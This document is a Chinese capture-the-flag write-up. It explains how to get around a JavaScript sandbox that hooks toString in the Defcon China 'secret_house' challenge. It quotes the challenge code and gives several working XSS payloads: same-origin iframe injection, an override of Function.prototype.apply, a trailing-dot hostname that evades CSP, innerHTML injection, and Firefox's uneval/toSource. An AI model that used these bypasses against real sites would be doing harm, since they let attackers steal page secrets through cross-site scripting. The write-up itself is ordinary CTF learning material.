前言

前几天去打了Defcon China决赛,差两题就可能拿到外卡。作为Web手0题滚粗难辞其咎,回来重新看了这道比赛时绕了一下午的secret_house,然后结合赛后拿到的几个payload,写一写Sandbox hook toString以后的一些绕过思路。

情景介绍

第一次遇到Sandbox hook toString 是去年google ctf决赛的Blind XSS。当时的限制比较简单,代码如下

Function.prototype.toString = function() {
    return '[No source code for you. Not on my watch, not in my world]';
  }

第二次就是Defcon China的secret_house,这次给出了一个比较完整的sandbox来限制,代码如下

//index.php
<?php
echo "<script src='http://secret-bctf.art:81/flag.php?f=".(string)time()."'></script>";
if(isset($_GET['xss'])){
    header("Content-Security-Policy: default-src 'self'; script-src 'self'  http://secret-bctf.art:81/ 'unsafe-inline';");
    if($_SERVER['SERVER_NAME'] === "secret-bctf.art"){
        echo "<script src='http://secret-bctf.art/js/sandbox.js?t=".(string)time()."'></script>";
        echo "<script>".htmlspecialchars($_GET['xss'])."</script>";
    }
    else{
        die("error host");
    }
}
else{
    highlight_file(__FILE__);
}
?>
//flag.php
<?php if(isset($_GET['f'])){
if($_SERVER["REMOTE_ADDR"] === gethostbyname('secret-bctf.art') && $_SERVER['SERVER_NAME'] === "secret-bctf.art")
echo "function get_secret(){ '".base64_encode(file_get_contents('admin.php'))."' }";
else
echo "function get_secret(){ 'emmmmm? Why aren\\'t you administrator?'
}";
} else{
highlight_file('flag.php'); }
?>
//sandbox.js
function noop() {}
(()=>{
    window.open = ()=>'Whooops'
const oldCreateElement = Document.prototype.createElement
Document.prototype.createElement = (a,...args)=>{
    if (a !== 'iframe' && a !== 'frame')
        return oldCreateElement.apply(document, [a, ...args])
    return 'Whooops'
}
Document.prototype.createElementNS = noop
}
)()
Function.prototype.toString = noop
document.addEventListener('load', (e)=>{
    try {
        console.log('fucked')
    e.target.contentWindow.Function.prototype.toString = noop
} catch (e) {
}
}
, true);
['Document', 'Element', 'Node'].forEach(documentKey=>{
    Object.keys(window[documentKey].prototype).forEach(key=>{
    try {
        //console.log(key)
    if (window[documentKey].prototype[key]instanceof Function) {
        window[documentKey].prototype[key] = noop
        }
    } catch (e) {
    }
    })
})
Array.from(document.all).forEach(item=>{
        Object.defineProperty(item, 'innerHTML', {
        get: noop,
        set: noop
        })
    }
)

不能发现这次在hook toString的基础上还做了很多其他的限制,而这些限制就和一些bypass的思路有关,接下来慢慢给出几种情况下的思路,而我们的目标就是要获得get_secret函数的内容。

全新的toString

如果Sandbox只是单纯重写了toString函数的内容,那么我们可以通过获得一个新的,没问题的toString的方法来获取到get_secret的内容。

如何获得一个native的toString呢???

通过加载一个iframe,iframe会导入一个新的环境,里面就有native的toString函数。

这里要注意的是,对于iframe来说,我们需要获得的是parent的get_secret函数,因此需要保证iframe下的域与父域是同源的,否则会被同源策略拦截。

这里提供两种同源的方法。

一是通过iframe的srcdoc属性,srcdoc属性可以直接在一个iframe中定义一段HTML的代码,而这样产生的iframe和父域是同源的。

代码如下

ifr=document.createElement('iframe');
ifr.srcdoc = '\x3script\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e';
document.head.append(ifr);

二是通过iframe的src属性,但是使用javascript伪协议来完成。iframe标签可以提供一个新的环境,而javascript伪协议则保证了同源策略。

代码如下

ifr=document.createElement('iframe');
ifr.src = '\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74:parent.result = Function.prototype.toString.call(parent.get_secret)';
document.head.append(ifr);

而通过secret_house的代码不难发现这种方法因为createElement被重写而无法被利用

这里提一句是secret_house中的添加的load监听事件并不影响上述payload的执行,因为在执行上述payload时页面还未加载完全,因此这段防御可以忽略。

重写Function.prototype.apply

既然Sandbox重写了createElement,我们就从重写出发,看看有没有可利用的地方。

这里参考了http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-3/

新的createElement在创建元素不为iframe或者frame的时候,会调用回native的createElement,而这里采用了apply的方法来调用。

apply是一个全局函数Function.prototype.apply

通过MDN文档可以知道Function.prototype.apply被调用时的this对象就是指向了对应函数的,在这里也就是oldCreateElement。因此只要把this的值还给Document.prototype.createElement对象,即可获得一个原本的createElement。

代码如下

Function.prototype.apply = function() {
    Document.prototype.createElement = this;
};
a = document.createElement('a');
ifr = document.createElement('iframe');
ifr.srcdoc = '\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e';
document.head.append(ifr);

第一个a元素的创建是为了触发新的createElement去调用到apply。

但是在secret_house中,出题人在下面又把新的createElement函数noop掉了,导致这种方法也没法使用。

利用CSP禁止加载Sandbox

这是赛后队友@wonderkun联系了出题人以后获得的预期解法。

当回首这题给出的CSP时

Content-Security-Policy: default-src 'self'; script-src 'self'  http://secret-bctf.art:81/ 'unsafe-inline';

我们会发现只允许加载同域下、81端口下以及内联的

而DNS解析时存在以下的一个特点

rebirth@NeSE ~ nslookup localhost.                                                               
Server:     192.168.1.1
Address:    192.168.1.1#53

Name:   localhost
Address: 127.0.0.1

------------------------------------------------------------
rebirth@NeSE ~ nslookup localhost                                                              
Server:     192.168.1.1
Address:    192.168.1.1#53

Name:   localhost.lan
Address: 127.0.0.1

在域名后加一个.后解析的结果是一致的,因为这个.代表的是根域名的意义

但是浏览器不会认为secret-bctf.artsecret-bctf.art.是一个域,因此payload就一下子变得如下这么简洁

http://secret-bctf.art./?xss=alert(get_secret)

看到这个预期解的时候,内心在滴血,因为感觉之前见过CSP的这种利用方式,但是比赛时候确实完全没想到。

然而,看到接下来的非预期的解法,血更加止不住留下来。

利用innerHTML添加iframe

在secret_house的Sandbox的最后有这么一段代码

Array.from(document.all).forEach(item=>{
        Object.defineProperty(item, 'innerHTML', {
        get: noop,
        set: noop
        })
    }
)

我当时看了一眼完全不以为意,想着,哦,把innerHTML hook了就没法直接写iframe了。

然后在了解到say2@CyKor小姐姐的payload以后(感谢队友@afang一直以来和say2小姐姐的联系),我才发现原来这里并不像我想的那么简单。

当我们重新回顾index.php的内容时

<?php
echo "<script src='http://secret-bctf.art:81/flag.php?f=".(string)time()."'></script>";
if(isset($_GET['xss'])){
    header("Content-Security-Policy: default-src 'self'; script-src 'self'  http://secret-bctf.art:81/ 'unsafe-inline';");
    if($_SERVER['SERVER_NAME'] === "secret-bctf.art"){
        echo "<script src='http://secret-bctf.art/js/sandbox.js?t=".(string)time()."'></script>";
        echo "<script>".htmlspecialchars($_GET['xss'])."</script>";
    }
    else{
        die("error host");
    }
}
else{
    highlight_file(__FILE__);
}
?>

你会发现,所有的script标签都没有再被任何标签包裹,也就是在html页面上输出时,它们是以这种形式输出的

<script src='http://secret-bctf.art:81/flag.php?f=123'></script>
<script src='http://secret-bctf.art/js/sandbox.js?t=123'></script>
<script>我们的payload</script>

那么在chrome中,会如何处理这样一个页面呢

它会将它们放在head体中 ! ! !

这会造成什么后果呢,那就是在chrome解析这个sandbox中的js时,body体还未出现

也就是说===>document.all中并没有包含body ! ! !

document.body.innerHTML的set方法没有被nop掉 Orz

那么代码就显而易见了

onload = function(){
    document.body.innerHTML=`\x3ciframe srcdoc='\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e'\x3e\x3c/iframe\x3e`;
}

firefox下的toString

chrome下的整个的过程到上文就结束了。

比赛完,在和lyle@0ops的讨论过程中,他给出了一个firefox下toString被重写时,仍可以读到函数代码的方法。

利用的是firefox特有的一个函数uneval

根据MDN的文档,uneval会返回表示给定对象的源代码的字符串。如果输入是一个函数对应,就会返回函数的源代码。

payload也很简单

http://secret-bctf.art/?xss=alert(uneval(get_secret))

同时,在查阅toString相关内容的时候,我也发现了firefox下特有的也可以获取函数代码的方法

Function.prototype.toSource()

payload也很简单

http://secret-bctf.art/?xss=alert(get_secret.toSource())

总结

前端水深,google ctf blindxss后面使用到的proxy的技巧也很值得学习,另外求更多bypass sandbox的姿势

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖